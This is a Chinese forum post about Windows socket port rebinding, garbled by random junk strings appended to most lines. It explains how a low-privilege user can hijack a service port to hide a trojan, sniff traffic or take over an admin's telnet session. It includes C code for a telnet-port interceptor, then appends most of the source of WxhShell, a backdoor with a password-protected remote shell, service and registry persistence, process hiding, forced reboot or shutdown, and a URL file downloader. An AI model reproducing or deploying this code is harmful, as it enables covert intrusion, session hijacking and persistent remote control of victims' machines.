社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14815阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L?pvz}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iS^^Z ZyR  
1 bx^Pt)  
  saddr.sin_family = AF_INET; )}Mt'd  
&qj&WfrB,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |x~ei_x7.p  
|kRx[UL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UM;bVf?  
oI"Fpo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "B{xC}Tw  
fxCPGj  
  这意味着什么?意味着可以进行如下的攻击: QrRCsy70  
X\:(8C;+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7UnO/K7oB.  
BB}iBf I'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qQ\hUii  
D}C*8s bC}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dJgOfg^  
i_9/!D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6O?Sr,  
%.  }  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T%xL=STJNy  
k{&E}:A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sJ*U Fm{  
Bc` A]U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  E8V\J  
}Z%{QJ$z  
  #include -"b3q  
  #include F973U  
  #include iK23`@&% _  
  #include    I>\?t4t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;&:Et  
  int main() `SpS?mWA  
  { `9NnL.w!  
  WORD wVersionRequested; " ~hjB  
  DWORD ret; mAERZ<I  
  WSADATA wsaData; i(#c Yb  
  BOOL val; im%3*bv-  
  SOCKADDR_IN saddr; FO3*[O   
  SOCKADDR_IN scaddr; = nN*9HRD  
  int err; Fi}rv[`XY[  
  SOCKET s; nFn`>kQ  
  SOCKET sc; uw&,pq  
  int caddsize; <W{0@?y  
  HANDLE mt; qOanu  
  DWORD tid;   L*Cf&c`8r  
  wVersionRequested = MAKEWORD( 2, 2 ); m eWq9:z  
  err = WSAStartup( wVersionRequested, &wsaData ); a#j^gu$m  
  if ( err != 0 ) { y6yseR!  
  printf("error!WSAStartup failed!\n"); b,sc  
  return -1; DN_C7\CoA  
  } }J lW\#  
  saddr.sin_family = AF_INET; )eyxAg  
   I8:&Btf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kV<)>Gs  
-JQg{A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _ h-X-s Y  
  saddr.sin_port = htons(23); b DvbM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~;s)0M  
  { BS.6d}G4  
  printf("error!socket failed!\n"); VG7#6)sQoK  
  return -1; vGDo?X~#o  
  } I'YotV7  
  val = TRUE; xo+z[OIlF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H|O}Dsj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %tLq&tyeY  
  { |0mI3r  
  printf("error!setsockopt failed!\n"); u{z{3fW_  
  return -1; O,v$'r W  
  } >c eU!=>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DVH><3FF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9\2&6H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xb\:H@92  
tTt~W5lo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0rUf'S ?K  
  { U @|_5[nl  
  ret=GetLastError(); sxtGl^,mU:  
  printf("error!bind failed!\n"); :P~Owz  
  return -1; a/fYD2uNo  
  } ],|B4\b;  
  listen(s,2); -%|I  
  while(1) Qt 2hb  
  { 7(Kc9sJC%%  
  caddsize = sizeof(scaddr); tHeLq*))  
  //接受连接请求 <Vb{QOgc;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1,,-R*x  
  if(sc!=INVALID_SOCKET) iqeGy&F-  
  { ;U&VPIX$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rB]/N,R   
  if(mt==NULL) "?SnA +)  
  { [qB=OxH?  
  printf("Thread Creat Failed!\n"); 1YxI q565  
  break; ;nE}%lT  
  } <*P1Sd.  
  } FBsw\P5w  
  CloseHandle(mt); p WHu[Fu  
  } vNIQc "\-  
  closesocket(s); H'2 =yhtVh  
  WSACleanup(); Y i`.zm  
  return 0; _[W=1bGJ  
  }   =[kv@ p  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9}N*(PI  
  { v]v f(]""  
  SOCKET ss = (SOCKET)lpParam; & BkNkb0  
  SOCKET sc; K4"as9oFP  
  unsigned char buf[4096]; U N/.T   
  SOCKADDR_IN saddr; {+;8dtZ)x  
  long num; uw]Jm"=w  
  DWORD val; P1<;:!8'  
  DWORD ret; jolCR-FDu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y3#\mBiw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    (c"!0v  
  saddr.sin_family = AF_INET; 15COwc*k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); })B)-8  
  saddr.sin_port = htons(23); qF ?S[Z;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hf[K\aAk  
  { DQSv'!KFO  
  printf("error!socket failed!\n"); ?~!h N,h  
  return -1; 1na[=Q2  
  } f] Vz!hM~  
  val = 100; IH5thL@D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m#Cp.|>kP4  
  { &7 ,wdG  
  ret = GetLastError(); 2}NfR8 N  
  return -1; XP'KgTF  
  }  6?6 u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]n{2cPx5d  
  { #\}hN~@F  
  ret = GetLastError(); hm& ~6rB  
  return -1; >,DR{A2hSB  
  } B7#;tCf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f:TW<  
  { og>f1NwS[  
  printf("error!socket connect failed!\n"); F?UL0Q|uv  
  closesocket(sc); !%Ak15o  
  closesocket(ss); :7R\"@V4  
  return -1; dWI\VS9  
  } uuq?0t2Z  
  while(1) sx22|j`)V  
  { toF@@ %  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B$\5=[U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MFC= oKD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]|-y[iu  
  num = recv(ss,buf,4096,0); =%a.C(0&G  
  if(num>0) 8J)x>6  
  send(sc,buf,num,0); S`NH6?/uH  
  else if(num==0) 5f1yszd  
  break; 5~\W!|j/  
  num = recv(sc,buf,4096,0); blLX ncyD  
  if(num>0) $Q?UyEi  
  send(ss,buf,num,0); a+ ]@$8+  
  else if(num==0) WhkE&7Gk  
  break; k(T/yd rw  
  } P/^:IfuR  
  closesocket(ss); -1fT2e  
  closesocket(sc); C<{k[!N%zm  
  return 0 ; 9D&ocV3QV  
  } J H6\;G6  
A6-JV8^  
`>K;S!z  
========================================================== T;I a;<mfE  
CnJO]0Op3  
下边附上一个代码,,WXhSHELL ?:UDK?  
qg+ 8i9Y!  
========================================================== ).xQ~A\.  
 ~UXW  
#include "stdafx.h" ' R{ [Y)  
d6wsT\S  
#include <stdio.h> qRTy}FU1  
#include <string.h> 75gE>:f  
#include <windows.h>  E{h   
#include <winsock2.h> 3. Kh  
#include <winsvc.h> j:rGFd  
#include <urlmon.h> NCBS=L:  
Qb/qUUQO;0  
#pragma comment (lib, "Ws2_32.lib") c}lUP(Ss  
#pragma comment (lib, "urlmon.lib") xoPpu  
k/cQJz  
#define MAX_USER   100 // 最大客户端连接数 DjtUX>e  
#define BUF_SOCK   200 // sock buffer Q!MS_ #O  
#define KEY_BUFF   255 // 输入 buffer sFMSH :5z  
G,%R`Xns  
#define REBOOT     0   // 重启 ~`(#sjr6KR  
#define SHUTDOWN   1   // 关机  GVe[)R  
y?;&(Tcbt8  
#define DEF_PORT   5000 // 监听端口 d_]zX;_  
eVn]/.d  
#define REG_LEN     16   // 注册表键长度 +,f|Y6L<  
#define SVC_LEN     80   // NT服务名长度 d A[I  
UOi8>;k`  
// 从dll定义API w>J|416  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QVsOB$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V`m'r+ Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *v_+a:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {rBS52,Z#  
Hcq?7_)  
// wxhshell配置信息 |1uyJ?%B  
struct WSCFG { :'|%~&J  
  int ws_port;         // 监听端口 sFuB[ JJ}  
  char ws_passstr[REG_LEN]; // 口令 IZoS2^:yw  
  int ws_autoins;       // 安装标记, 1=yes 0=no HM /2/ /  
  char ws_regname[REG_LEN]; // 注册表键名 Tq,Kel  
  char ws_svcname[REG_LEN]; // 服务名 bk44 qL;8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &Rdg07e;>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HN]roSt~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y92 w L}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EIPNR:6t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O4dJ> O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q$^oIFb  
Ru9QQaHE  
}; _8P0iC8Zg#  
aEM2xrhy,  
// default Wxhshell configuration P>j^w#$n  
struct WSCFG wscfg={DEF_PORT, 6 GqR]KD  
    "xuhuanlingzhe", y@Z@ eK3  
    1, b"DaLwKkz  
    "Wxhshell", L3/m}AH,  
    "Wxhshell", V{+'(<SV  
            "WxhShell Service", jgNdcP  
    "Wrsky Windows CmdShell Service", 8lk@ev=O&  
    "Please Input Your Password: ", e:D8.h+ &}  
  1, *")Req  
  "http://www.wrsky.com/wxhshell.exe", 589hfET  
  "Wxhshell.exe" ia6%>^  
    }; P|*c7+q  
C@1B?OfJ  
// 消息定义模块 ;5Spdi4w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0h=NbLr|S-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0}H7Xdkp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c&me=WD  
char *msg_ws_ext="\n\rExit."; z-ns@y(f@X  
char *msg_ws_end="\n\rQuit."; &m[ZpJ9  
char *msg_ws_boot="\n\rReboot..."; ^,O%E;g^#  
char *msg_ws_poff="\n\rShutdown..."; +?y ', Ir  
char *msg_ws_down="\n\rSave to "; = Lt)15  
blyU5 3g  
char *msg_ws_err="\n\rErr!"; 0P i+ (X  
char *msg_ws_ok="\n\rOK!"; [}:;B$,  
pZHx  
char ExeFile[MAX_PATH]; >J(._K  
int nUser = 0; F#Y9 @E  
HANDLE handles[MAX_USER]; $r+ _Y/  
int OsIsNt; 4:wVT;?a  
v_^>*Vm*  
SERVICE_STATUS       serviceStatus; U1nObA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C)Ep}eHjf_  
%x{jmZ$}  
// 函数声明 o_ng{SL  
int Install(void); ~P!\;S  
int Uninstall(void); w]1hoYuV  
int DownloadFile(char *sURL, SOCKET wsh); o rBB5JJ  
int Boot(int flag); [QUaC3l)  
void HideProc(void); k6eh$*!  
int GetOsVer(void); 8_$[SV$q  
int Wxhshell(SOCKET wsl); 7]sRHX0o%  
void TalkWithClient(void *cs); JX!z,X?r4  
int CmdShell(SOCKET sock); &FrUj>i  
int StartFromService(void); 1?I_fA}  
int StartWxhshell(LPSTR lpCmdLine); YF8;s4  
^Mvgm3hg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qh9d .Q+n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O1+OE!w  
"{9^SPsp  
// 数据结构和表定义 +%Z#!1u  
SERVICE_TABLE_ENTRY DispatchTable[] = uvG' Kx  
{ OTe h8h  
{wscfg.ws_svcname, NTServiceMain}, wCQ.?*7-9Q  
{NULL, NULL} At<D36,^"  
}; ~dXiyU,y2  
;*(i}'  
// 自我安装 6&* z  
int Install(void) ]?S@g'Jd0Q  
{ A_8Xhem${  
  char svExeFile[MAX_PATH]; ^O6eFD U  
  HKEY key; Hnft1   
  strcpy(svExeFile,ExeFile); VEsIhjQ  
6+ UTEw;  
// 如果是win9x系统,修改注册表设为自启动 ^=Dz)95c  
if(!OsIsNt) { !}lCwV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )B*D\9\Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q6PaT@gs  
  RegCloseKey(key); je;C}4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uc%kyTBm1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  #nq$^H  
  RegCloseKey(key); M "\Iw'5$  
  return 0; {"PIS&]tR  
    } 3s\}|LqX#  
  } ;SgPF:T>Q  
} Llf#g#T  
else { 'nIKkQ" N  
3-/F]}0y6  
// 如果是NT以上系统,安装为系统服务 +7 \"^D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  L}=DC =E  
if (schSCManager!=0) I|x? K>  
{ 'vwu^u?  
  SC_HANDLE schService = CreateService sEymwpm9  
  ( 6%^A6U  
  schSCManager, P(%^J6[>  
  wscfg.ws_svcname, fK|P144   
  wscfg.ws_svcdisp, k*4!rWr0r&  
  SERVICE_ALL_ACCESS, %ZsdCQc{`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HT:V;?"  
  SERVICE_AUTO_START, 1K#%mV_  
  SERVICE_ERROR_NORMAL, =f?vpKq40  
  svExeFile, *qZBq&7tb  
  NULL, i&TWIl8  
  NULL, cY^'Cj  
  NULL, b($9gre>mI  
  NULL, QQ,V35Vp[  
  NULL + mPVI  
  ); 5pU/X.lc  
  if (schService!=0) 6e>P!bo  
  { j=dGNi)R  
  CloseServiceHandle(schService); x,NV{uG$n  
  CloseServiceHandle(schSCManager); 8'PK}heBU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2#(dfEAy  
  strcat(svExeFile,wscfg.ws_svcname); 6]r#6c %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !o`riQLs>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r]0>A&,  
  RegCloseKey(key); vRh)o1u)  
  return 0; ) 7C+hQe  
    } W m&*  
  } 0`/CoP<U  
  CloseServiceHandle(schSCManager); Q{|_"sfJ  
} `mthzc3W  
} <v6W l\  
$[g#P^  
return 1; Te%V+l  
} k4PXH  
a>Wr2gPko  
// 自我卸载 *X5<]{7c  
int Uninstall(void) Kzx` E>,z'  
{ /_X`i[  
  HKEY key; WjBH2v  
:K~sazs7J  
if(!OsIsNt) { G0A\"2U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^z`d 2it  
  RegDeleteValue(key,wscfg.ws_regname); 3bRW]mP8  
  RegCloseKey(key); fg7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7|xu)zYB  
  RegDeleteValue(key,wscfg.ws_regname); WMa`! Q  
  RegCloseKey(key); Y P,>vzW  
  return 0; T/FZn{I  
  } '|<r[K  
} .}5qi;CA  
} ~h:(9q8NLC  
else { v@4vitbG9  
:='I>Gn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yl&s!I  
if (schSCManager!=0) "ql$Rz8  
{ o%!s/Z1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l"1*0jgBw  
  if (schService!=0) u#y#(1 =  
  { |c>.xt~  
  if(DeleteService(schService)!=0) { c^rWS&)P  
  CloseServiceHandle(schService); Zoy)2E{  
  CloseServiceHandle(schSCManager); 18Vn[}]"  
  return 0; VsJKxa4  
  } ==UYjbuU  
  CloseServiceHandle(schService); p~NHf\  
  } wPX^P  
  CloseServiceHandle(schSCManager); O^PN{u  
} _e/Bg~  
} { 1_ <\ ~J  
 Xr:s-L  
return 1; :dQRrmM  
} .SLpgYFL{  
(xE |T f  
// 从指定url下载文件 /M JI^\CA  
int DownloadFile(char *sURL, SOCKET wsh) /~Bs5f.]?  
{ l-P6B9e|\  
  HRESULT hr; 5KfrkZ  
char seps[]= "/"; N/'8W9#6  
char *token; peHjKK  
char *file; i&8|@CACb  
char myURL[MAX_PATH]; `kE7PXqa  
char myFILE[MAX_PATH]; w+r).PS}C  
D2GF4%|  
strcpy(myURL,sURL); }'?qUy3x  
  token=strtok(myURL,seps); 8A5/jqnqt  
  while(token!=NULL) x4/{XRQ  
  { 6{{<+ o  
    file=token; {kBsiSvsA;  
  token=strtok(NULL,seps); 5dhy80|g]  
  } oaZdvu@y  
C_'EO<w$  
GetCurrentDirectory(MAX_PATH,myFILE); E[7E%^:Mg  
strcat(myFILE, "\\");  q(X7e  
strcat(myFILE, file); WNZYs  
  send(wsh,myFILE,strlen(myFILE),0); V= -  
send(wsh,"...",3,0); *o38f>aJl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p_ f<@WE  
  if(hr==S_OK) -Lq2K3JHyn  
return 0; V1,/qd_  
else zVa&4 T-  
return 1; ,q>cFsY=i?  
`GkCOx,  
} fL# r@TB-s  
YQ.ci4.f  
// 系统电源模块 :|$cG~'J  
int Boot(int flag) V2|By,.  
{ "GR*d{  
  HANDLE hToken; qpMcVJL  
  TOKEN_PRIVILEGES tkp; f,F1k9-1!  
W/%hS)75  
  if(OsIsNt) { [& Z- *a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7{(UiQbf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KK5;6b  
    tkp.PrivilegeCount = 1; fm@Pa} ,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _5H~1G%q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (~%NRH<\  
if(flag==REBOOT) { [u$|/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i39ZBs@  
  return 0; <i4]qO(0u  
} C #iZAR  
else { 2Wu`Dp;&l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [\#ANA"  
  return 0; G0|}s&$yL  
} y631;dU  
  } 934j5D  
  else { +7o1&D*v  
if(flag==REBOOT) { P3]K'*Dyd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c|JQ0] K  
  return 0; IG# wY  
} s9a`2Wm  
else { h=,h Yz?]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :o ~'\:/  
  return 0; +R L@g*`  
} bS2g4]$'po  
} FZn1$_Svr  
ju'a Uzn  
return 1; j6EF0/_|e  
} -seLa(8F  
CuH4~6  
// win9x进程隐藏模块 < K!r\^  
void HideProc(void) $~G5s<r  
{ Xz^k.4 Y{4  
iN. GC^l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5I,NvHD4  
  if ( hKernel != NULL ) ~?Vod|>  
  { n@ SUu7o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %3~ miP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qR!ZtJ5j  
    FreeLibrary(hKernel); [uHU[ sG  
  } Z{BK@Q4z  
R.*;] R>M  
return; <W!nlh  
} 2I}+AW!!=  
=.;ib6M  
// 获取操作系统版本 Za1mI^ L1  
int GetOsVer(void) [ i, [^  
{ E"_{S.Wc  
  OSVERSIONINFO winfo; 1HKA`]D"p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jw@X5-(Cp  
  GetVersionEx(&winfo); R[v0T/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9#9bm  
  return 1; v0dzM/?*  
  else )I3E  
  return 0; >;1w-n  
} pP1DR'  
HEbL'fw^s  
// 客户端句柄模块 <uv `)Q9  
int Wxhshell(SOCKET wsl) X Vt;hO  
{ LwRzzgt  
  SOCKET wsh; x}pH'S7  
  struct sockaddr_in client; G#e]J;   
  DWORD myID; D{Nd2G  
Be]z @E1x  
  while(nUser<MAX_USER) [n| }>  
{ oNe:<YT  
  int nSize=sizeof(client); iB(?}SaAZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w-ald?`  
  if(wsh==INVALID_SOCKET) return 1; lAM)X&}0  
v5L+B`~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H[p~1%Lq  
if(handles[nUser]==0) A r~/KRK  
  closesocket(wsh); -rI7ihr*  
else S$hxR  
  nUser++; e|~{ X\l  
  } (E@;~7L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cip|eM&l  
{22ey`@`h  
  return 0; y\;oZ]J  
} .<>t2,Af  
;"Qq/ knVL  
// 关闭 socket MbCz*oW  
void CloseIt(SOCKET wsh) 'l<$H=ZUVG  
{ l<uI-RX "  
closesocket(wsh); Uz,P^\8^$  
nUser--; 53:u6bb;  
ExitThread(0); N*|EfI|X  
} d+v| &yN  
TM{m:I:Z*n  
// 客户端请求句柄 JS8pN5   
void TalkWithClient(void *cs) ?>*d82yO  
{ yW1N&$n  
XchD3p+uB  
  SOCKET wsh=(SOCKET)cs; D*~Q;q>  
  char pwd[SVC_LEN]; w^&UMX}  
  char cmd[KEY_BUFF]; PSu]I?WF  
char chr[1]; ]kmAN65c  
int i,j; /<LjD  
!p+rU?  
  while (nUser < MAX_USER) { EeQ8Uxb7  
 +qj Z;5(  
if(wscfg.ws_passstr) { *!"T^4DEg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nRqP_*]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ufR>*)_+  
  //ZeroMemory(pwd,KEY_BUFF); sq#C|v/  
      i=0; U:$z lfV  
  while(i<SVC_LEN) { P;25 F  
hl**G4z9q  
  // 设置超时 GYIQ[#'d7  
  fd_set FdRead; B^dMYFelJ  
  struct timeval TimeOut; xC _3&.  
  FD_ZERO(&FdRead); N)E'k%?,  
  FD_SET(wsh,&FdRead); HI D6h!  
  TimeOut.tv_sec=8; w/o8R3 F  
  TimeOut.tv_usec=0; 9m>L\&\_e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Th%w-19,8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lmoYQFkYP  
|AvsT{2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~!TrC <ft  
  pwd=chr[0]; ._x"b5C  
  if(chr[0]==0xd || chr[0]==0xa) { 8b,Z)"(U3  
  pwd=0; >^9j>< Z  
  break; !lEV^SQJs  
  } }.|a0N 5  
  i++; ZU B]qzmK  
    } fy>3#`T-  
!$iwU3~<  
  // 如果是非法用户,关闭 socket Z%.L d2Q{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x?{l<mc  
} lxXF8c>U  
L67yL( d6a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H/x 9w[\+[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QrmGrRH  
lp$,`Uz`  
while(1) { :k.>H.8+~  
JK^%V\m  
  ZeroMemory(cmd,KEY_BUFF); DPnrzV )  
0[ n;ZL~  
      // 自动支持客户端 telnet标准   /8_x]Es/  
  j=0; p |;#frj  
  while(j<KEY_BUFF) { E?K(MT&@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t x1TtWo  
  cmd[j]=chr[0]; 2-g 5Gb2|  
  if(chr[0]==0xa || chr[0]==0xd) { d<\X)-"  
  cmd[j]=0; +BI%. A`2  
  break;  5 YIk  
  } -t`KCf,0  
  j++; |1OF!(:  
    } p0Ij 4   
p'/%"  
  // 下载文件 t2.]v><  
  if(strstr(cmd,"http://")) { {|zQ .s A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q}JP;p(#  
  if(DownloadFile(cmd,wsh)) 9~f RYA*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f]Z9=  
  else |9CPT%A#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); **9[e[(X  
  } K)`l > o1  
  else { xWQQX  
) { "}bMf  
    switch(cmd[0]) { +Sv2'& B  
  Sf`?j  
  // 帮助 2rP!]  
  case '?': { zBrqh9%8e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i"!j:YEo  
    break; 1RQM-0W,  
  }  ,8p-EH  
  // 安装 S^e e<%-  
  case 'i': { #{bT=:3a  
    if(Install()) +>mU4Fwp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>Kv!OY:c  
    else ir )~T0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |oOA;JC)(  
    break; pi*?fUg!W  
    } F*B^#AZg  
  // 卸载 G"<} s mB  
  case 'r': { ~|wh/]{b9  
    if(Uninstall()) Xdf;'|HO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %8% 0l*n'  
    else 5Obv/C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \xZ6+xZd1  
    break; t_X=x`f  
    } F,GG>(6c  
  // 显示 wxhshell 所在路径 QbAEW m  
  case 'p': { NzID [8`  
    char svExeFile[MAX_PATH]; );z/ @Q  
    strcpy(svExeFile,"\n\r"); 9@p+g`o  
      strcat(svExeFile,ExeFile); g7LS  
        send(wsh,svExeFile,strlen(svExeFile),0); 7tT L,Nxe  
    break; wAF#N1-k  
    } s)~H_,  
  // 重启 /$ueLa  
  case 'b': {  D z>7.'3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +JFE\>O  
    if(Boot(REBOOT)) Mg^3Y'{o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); euh rEjwkH  
    else { \"=@uqar2  
